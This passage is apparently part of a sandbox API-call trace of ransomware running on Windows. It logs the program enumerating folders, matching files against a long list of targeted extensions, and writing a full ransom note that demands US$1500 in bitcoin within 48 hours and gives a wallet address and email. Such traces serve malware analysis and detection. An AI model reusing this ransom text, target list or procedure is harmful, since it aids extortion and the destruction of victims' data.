(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.mkv") returned 0 [0105.260] lstrlenA (lpString="*.mkv") returned 5 [0105.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.eml") returned 0 [0105.260] lstrlenA (lpString="*.eml") returned 5 [0105.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.msg") returned 0 [0105.261] lstrlenA (lpString="*.msg") returned 5 [0105.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.edb") returned 0 [0105.261] lstrlenA (lpString="*.edb") returned 5 [0105.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.accdb") returned 0 [0105.261] lstrlenA (lpString="*.accdb") returned 7 [0105.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.odb") returned 0 [0105.261] lstrlenA (lpString="*.odb") returned 5 [0105.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.java") returned 0 [0105.261] lstrlenA (lpString="*.java") returned 6 [0105.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.asm") returned 0 [0105.261] lstrlenA (lpString="*.asm") returned 5 [0105.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.pfx") returned 0 [0105.261] lstrlenA (lpString="*.pfx") returned 5 [0105.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.pem") returned 0 [0105.261] lstrlenA (lpString="*.pem") returned 5 [0105.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.p12") returned 0 [0105.261] lstrlenA (lpString="*.p12") returned 5 [0105.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.gpg") returned 0 [0105.262] lstrlenA (lpString="*.gpg") returned 5 [0105.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.vsd") returned 0 [0105.262] lstrlenA (lpString="*.vsd") returned 5 [0105.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.odg") returned 0 [0105.262] lstrlenA (lpString="*.odg") returned 5 [0105.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.raw") returned 0 [0105.262] lstrlenA (lpString="*.raw") returned 5 [0105.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.nef") returned 0 [0105.262] lstrlenA (lpString="*.nef") returned 5 [0105.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.svg") returned 0 [0105.262] lstrlenA (lpString="*.svg") returned 5 [0105.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.psd") returned 0 [0105.262] lstrlenA (lpString="*.psd") returned 5 [0105.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.vmx") returned 0 [0105.262] lstrlenA (lpString="*.vmx") returned 5 [0105.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.vmdk") returned 0 [0105.262] lstrlenA (lpString="*.vmdk") returned 6 [0105.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.vdi") returned 0 [0105.263] lstrlenA (lpString="*.vdi") returned 5 [0105.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.lay6") returned 0 [0105.263] lstrlenA (lpString="*.lay6") returned 6 [0105.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.mpeg") returned 0 [0105.263] lstrlenA (lpString="*.mpeg") returned 6 [0105.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.djvu") returned 0 [0105.263] lstrlenA (lpString="*.djvu") returned 6 [0105.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.tiff") returned 0 [0105.263] lstrlenA (lpString="*.tiff") returned 6 [0105.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.backup") returned 0 [0105.263] lstrlenA (lpString="*.backup") returned 8 [0105.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.pdf") returned 0 [0105.263] lstrlenA (lpString="*.pdf") returned 5 [0105.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.cert") returned 0 [0105.263] lstrlenA (lpString="*.cert") returned 6 [0105.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.docm") returned 0 [0105.263] lstrlenA (lpString="*.docm") returned 6 [0105.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.xlsm") returned 0 [0105.264] lstrlenA (lpString="*.xlsm") returned 6 [0105.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.dwg") returned 0 [0105.264] lstrlenA (lpString="*.dwg") returned 5 [0105.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.nd") returned 0 [0105.264] lstrlenA (lpString="*.nd") returned 4 [0105.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.tlg") returned 0 [0105.264] lstrlenA (lpString="*.tlg") returned 5 [0105.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.lgb") returned 0 [0105.264] lstrlenA (lpString="*.lgb") returned 5 [0105.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.mov") returned 0 [0105.264] lstrlenA (lpString="*.mov") returned 5 [0105.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.xdw") returned 0 [0105.264] lstrlenA (lpString="*.xdw") returned 5 [0105.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.ods") returned 0 [0105.264] lstrlenA (lpString="*.ods") returned 5 [0105.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.wav") returned 0 [0105.265] lstrlenA (lpString="*.wav") returned 5 [0105.265] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.mp3") returned 0 [0105.265] lstrlenA (lpString="*.mp3") returned 5 [0105.265] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.aiff") returned 0 [0105.265] lstrlenA (lpString="*.aiff") returned 6 [0105.265] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.flac") returned 0 [0105.265] lstrlenA (lpString="*.flac") returned 6 [0105.265] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.m4a") returned 0 [0105.265] lstrlenA (lpString="*.m4a") returned 5 [0105.265] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.csv") returned 0 [0105.265] lstrlenA (lpString="*.csv") returned 5 [0105.265] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c575ee, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x88c575ee, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x88c7d74e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xd8e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.DirectoryServices.AccountManagement.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0105.265] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0105.265] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18580b9c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x18580b9c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x18580b9c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="ced847eb933ffee8e1a2e738205916ce", cAlternateFileName="CED847~1")) returned 1 [0105.269] lstrcmpA (lpString1=".", lpString2="ced847eb933ffee8e1a2e738205916ce") returned -1 [0105.269] lstrcmpA (lpString1="..", lpString2="ced847eb933ffee8e1a2e738205916ce") returned -1 [0105.269] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\*.*") returned="*.*" [0105.269] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\", lpString2="ced847eb933ffee8e1a2e738205916ce" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce" [0105.269] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce") returned 100 [0105.269] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18580b9c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x18580b9c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x18580b9c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0105.270] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0105.270] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18580b9c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x18580b9c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x18580b9c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.270] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0105.270] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0105.270] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x185348db, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x185348db, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1855aa3c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x6f400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.DirectoryServices.Protocols.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0105.270] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0105.270] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.DirectoryServices.Protocols.ni.dll") returned -1 [0105.270] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.DirectoryServices.Protocols.ni.dll") returned -1 [0105.270] lstrcmpiA (lpString1="", lpString2="System.DirectoryServices.Protocols.ni.dll") returned -1 [0105.271] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\*.*") returned="*.*" [0105.271] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\" [0105.271] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\") returned="" [0105.271] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\HOW TO DECRYPT FILES.txt" [0105.271] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.directoryser#\\ced847eb933ffee8e1a2e738205916ce\\how to decrypt files.txt")) returned 0xffffffff [0105.271] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.directoryser#\\ced847eb933ffee8e1a2e738205916ce\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0105.300] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0105.300] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0105.303] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0105.303] CloseHandle (hObject=0x90) returned 1 [0105.303] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\", lpString2="System.DirectoryServices.Protocols.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll" [0105.303] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.ems") returned 0 [0105.303] lstrlenA (lpString="*.ems") returned 5 [0105.303] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.db") returned 0 [0105.303] lstrlenA (lpString="*.db") returned 4 [0105.303] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.dbf") returned 0 [0105.303] lstrlenA (lpString="*.dbf") returned 5 [0105.303] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.myox") returned 0 [0105.303] lstrlenA (lpString="*.myox") returned 6 [0105.303] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.myo") returned 0 [0105.303] lstrlenA (lpString="*.myo") returned 5 [0105.303] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.qbw") returned 0 [0105.304] lstrlenA (lpString="*.qbw") returned 5 [0105.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.qbb") returned 0 [0105.304] lstrlenA (lpString="*.qbb") returned 5 [0105.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.qbm") returned 0 [0105.304] lstrlenA (lpString="*.qbm") returned 5 [0105.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.qbo") returned 0 [0105.304] lstrlenA (lpString="*.qbo") returned 5 [0105.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.qbx") returned 0 [0105.304] lstrlenA (lpString="*.qbx") returned 5 [0105.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.qba") returned 0 [0105.304] lstrlenA (lpString="*.qba") returned 5 [0105.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.qby") returned 0 [0105.304] lstrlenA (lpString="*.qby") returned 5 [0105.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.qbj") returned 0 [0105.304] lstrlenA (lpString="*.qbj") returned 5 [0105.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.ofx") returned 0 [0105.304] lstrlenA (lpString="*.ofx") returned 5 [0105.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.qif") returned 0 [0105.304] lstrlenA (lpString="*.qif") returned 5 [0105.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.mye") returned 0 [0105.305] lstrlenA (lpString="*.mye") returned 5 [0105.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.mbox") returned 0 [0105.305] lstrlenA (lpString="*.mbox") returned 6 [0105.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.eml") returned 0 [0105.305] lstrlenA (lpString="*.eml") returned 5 [0105.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.pst") returned 0 [0105.305] lstrlenA (lpString="*.pst") returned 5 [0105.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.ost") returned 0 [0105.305] lstrlenA (lpString="*.ost") returned 5 [0105.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.idx") returned 0 [0105.305] lstrlenA (lpString="*.idx") returned 5 [0105.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.dbx") returned 0 [0105.305] lstrlenA (lpString="*.dbx") returned 5 [0105.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.sql") returned 0 [0105.305] lstrlenA (lpString="*.sql") returned 5 [0105.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.mdb") returned 0 [0105.305] lstrlenA (lpString="*.mdb") returned 5 [0105.305] PathMatchSpecA 